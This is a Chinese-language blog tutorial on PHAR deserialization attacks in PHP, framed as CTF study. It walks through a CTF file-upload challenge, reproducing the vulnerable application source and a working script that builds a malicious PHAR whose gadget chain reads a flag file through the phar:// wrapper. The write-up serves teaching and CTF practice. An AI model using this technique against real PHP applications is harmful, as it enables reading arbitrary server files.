您的位置:首页技术文章
文章详情页

PHP开发技巧之PHAR反序列化详解

【字号: 日期:2022-06-06 09:44:26浏览:27作者:猪猪
目录
  • 引文
  • 前置知识
    • PHAR
    • PHAR文件结构
    • PHAR文件生成样例
  • 实战
    • 结语

      引文

      之前将PHP反序列化的基础知识讲了一遍,不知道大家学习的怎么样了,今天给大家带来PHP反序列化的进阶知识:PHAR反序列化,也是之前本人在CTF比赛中经常遇到的一种php反序列化的进阶使用吧,下面先给大家讲一讲PHAR反序列化的前置知识。

      前置知识

      PHAR

      在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容,这里就是我们反序列化漏洞的利用点。

      接下来带大家看一下如何构造phar文件:

      PHAR状态是只读的,创建一个的Phar文件需要允许写入Phar文件,这需要修改一下:

      php.ini:phar.readonly = Off;  #php版本要大于等于5.2

      其中php.ini为php的配置文件。

      PHAR文件结构

      上面简单介绍了phar的基本定义,接下来我们学习一下PHAR文件的基本结构:

      A stub

      phar文件的标志,具体代码为:

      xxx<?php xxx; __HALT_COMPILER();?>

      注意的是phar文件始终要以__HALT_COMPILER();?>来进行结尾才能被识别为PHAR文件。

      A manifest describing the contents

      以序列化的形式存储用户自定义的meta-data,也是我们利用反序列化漏洞的点。

      The file contents

      压缩的文件内容。

      signature

      签名信息,放在文件末尾。

      PHAR文件生成样例

      了解了以上信息,我们就可以尝试来构建一个PHAR文件的生成,样例代码如下:

      <?php	class User{var $name;	}	@unlink("XINO.phar");    $phar = new Phar("XINO.phar");    $phar->startBuffering();    $phar->setStub("<?php __HALT_COMPILER(); ?>");    $o = new User();    $o->name = "XINO";    $phar->setMetadata($o);    $phar->addFromString("test.txt", "test");    $phar->stopBuffering();?>

      运行之后结果如下:

      成功生成了名为XINO.phar的phar类型文件,我们放进010editor查看:

      看到 meta-data 序列化的内容成功的保存到了文件中。我们再用phar协议去读取就好了。这里需要注意的一点是:一些文件函数 通过 phar:// 伪协议解析phar文件时都会将meta-data反序列化,例如:

      fileatime    filectimefilemtime    file_exists    file_get_contents    file_put_contentsfile filegroupfopenfileinode      fileowner    filepermsis_dir       is_file  is_link      is_executable  is_readable  is_writeableis_wirtble   parse_ini_file   copy unlink stat readfileinfo_file   

      实战

      学完上面的内容后,我们便可以尝试一下实战了,先看看利用条件:

      phar文件要能够上传到服务器端

      要有可用的魔术方法作为"跳板"

      文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤

      下面我们来看一个例题:

      进去是一个登陆界面,我们注册登陆进去,发现了一个文件上传的点。要求得文件类型只能是gif/jpg/png的类型,需要抓包更改其Content-Type为image/jpeg或其它图片格式的对应字符串。抓包后会发现POST传参download处存在任意文件下载:

      下载源码:index.php,delete.php,download.php,class.php

      class.php:

      <?phperror_reporting(0);$dbaddr = "127.0.0.1";$dbuser = "root";$dbpass = "root";$dbname = "dropbox";$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);class User {    public $db;    public function __construct() {global $db;$this->db = $db;    }    public function user_exist($username) {$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");$stmt->bind_param("s", $username);$stmt->execute();$stmt->store_result();$count = $stmt->num_rows;if ($count === 0) {    return false;}return true;    }    public function add_user($username, $password) {if ($this->user_exist($username)) {    return false;}$password = sha1($password . "SiAchGHmFx");$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");$stmt->bind_param("ss", $username, $password);$stmt->execute();return true;    }    public function verify_user($username, $password) {if (!$this->user_exist($username)) {    return false;}$password = sha1($password . "SiAchGHmFx");$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");$stmt->bind_param("s", $username);$stmt->execute();$stmt->bind_result($expect);$stmt->fetch();if (isset($expect) && $expect === $password) {    return true;}return false;    }    public function __destruct() {$this->db->close();    }}class FileList {    private $files;    private $results;    private $funcs;    public function __construct($path) {$this->files = array();$this->results = array();$this->funcs = array();$filenames = scandir($path);$key = array_search(".", $filenames);unset($filenames[$key]);$key = array_search("..", $filenames);unset($filenames[$key]);foreach ($filenames as $filename) {    $file = new File();    $file->open($path . $filename);    array_push($this->files, $file);    $this->results[$file->name()] = array();}    }    public function __call($func, $args) {array_push($this->funcs, $func);foreach ($this->files as $file) {    $this->results[$file->name()][$func] = $file->$func();}    }    public function __destruct() {$table = "<div id="container"><div><table id="table">";$table .= "<thead><tr>";foreach ($this->funcs as $func) {    $table .= "<th scope="col">" . htmlentities($func) . "</th>";}$table .= "<th scope="col">Opt</th>";$table .= "</thead><tbody>";foreach ($this->results as $filename => $result) {    $table .= "<tr>";    foreach ($result as $func => $value) {$table .= "<td>" . htmlentities($value) . "</td>";    }    $table .= "<td filename="" . htmlentities($filename) . ""><a href="#" rel="external nofollow"  rel="external nofollow" >下载</a> / <a href="#" rel="external nofollow"  rel="external nofollow" >删除</a></td>";    $table .= "</tr>";}echo $table;    }}class File {    public $filename;    public function open($filename) {$this->filename = $filename;if (file_exists($filename) && !is_dir($filename)) {    return true;} else {    return false;}    }    public function name() {return basename($this->filename);    }    public function size() {$size = filesize($this->filename);$units = array(" B", " KB", " MB", " GB", " TB");for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;return round($size, 2).$units[$i];    }    public function detele() {unlink($this->filename);    }    public function close() {return file_get_contents($this->filename);    }}?>

      delete.php

      <?php#delete.phpsession_start();if (!isset($_SESSION["login"])) {    header("Location: login.php");    die();}if (!isset($_POST["filename"])) {    die();}include "class.php";chdir($_SESSION["sandbox"]);$file = new File();$filename = (string) $_POST["filename"];if (strlen($filename) < 40 && $file->open($filename)) {    $file->detele();    Header("Content-type: application/json");    $response = array("success" => true, "error" => "");    echo json_encode($response);} else {    Header("Content-type: application/json");    $response = array("success" => false, "error" => "File not exist");    echo json_encode($response);}?>

      简单分析一下:

      创建一个user的对象,而且db变量是一个FileList对象,文件名为flag的路径。这样的话,当user对象销毁时,db变量的close方法被执行;而db变量没有close方法,这样就会触发call魔术方法(不理解的可以去看之前的文章),于是执行File对象的close方法。通过分析FileList类的析构方法可以知道,close方法执行后存在results变量里的结果会加入到table变量中被打印出来,也就是flag会被打印出来($this->filename=flag文件 )。

      于是我们尝试写一个生成PHAR文件的脚本:

      <?phpclass User {    public $db;}class File {    public $filename;}class FileList {    private $files;    public function __construct() {$file = new File();$file->filename = "/flag.txt";$this->files = array($file);    }}$a = new User();$a->db = new FileList();$phar = new Phar("XINO.phar"); //后缀名必须为phar$phar->startBuffering();$phar->addFromString("exp.txt", "test"); //添加要压缩的文件$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub$phar->setMetadata($a); //将自定义的meta-data存入manifest//签名自动计算$phar->stopBuffering();?>

      生成文件后将PHAR文件改文件类型然后上传,之后用PHAR协议去读取就可以得到flag。

      结语

      今天比较详细的讲了PHAR反序列化漏洞的原理以及应用方法,可能刚开始学不太好理解,可以根据之前PHP反序列化的思路去理解一下。有兴趣的小伙伴可以自己去搭建靶机来进行测试,喜欢的小伙伴不妨一键三连。

      以上就是PHP开发技巧之PHAR反序列化详解的详细内容,更多关于PHP开发PHAR反序列化的资料请关注其它相关文章!

      标签: PHP
      相关文章: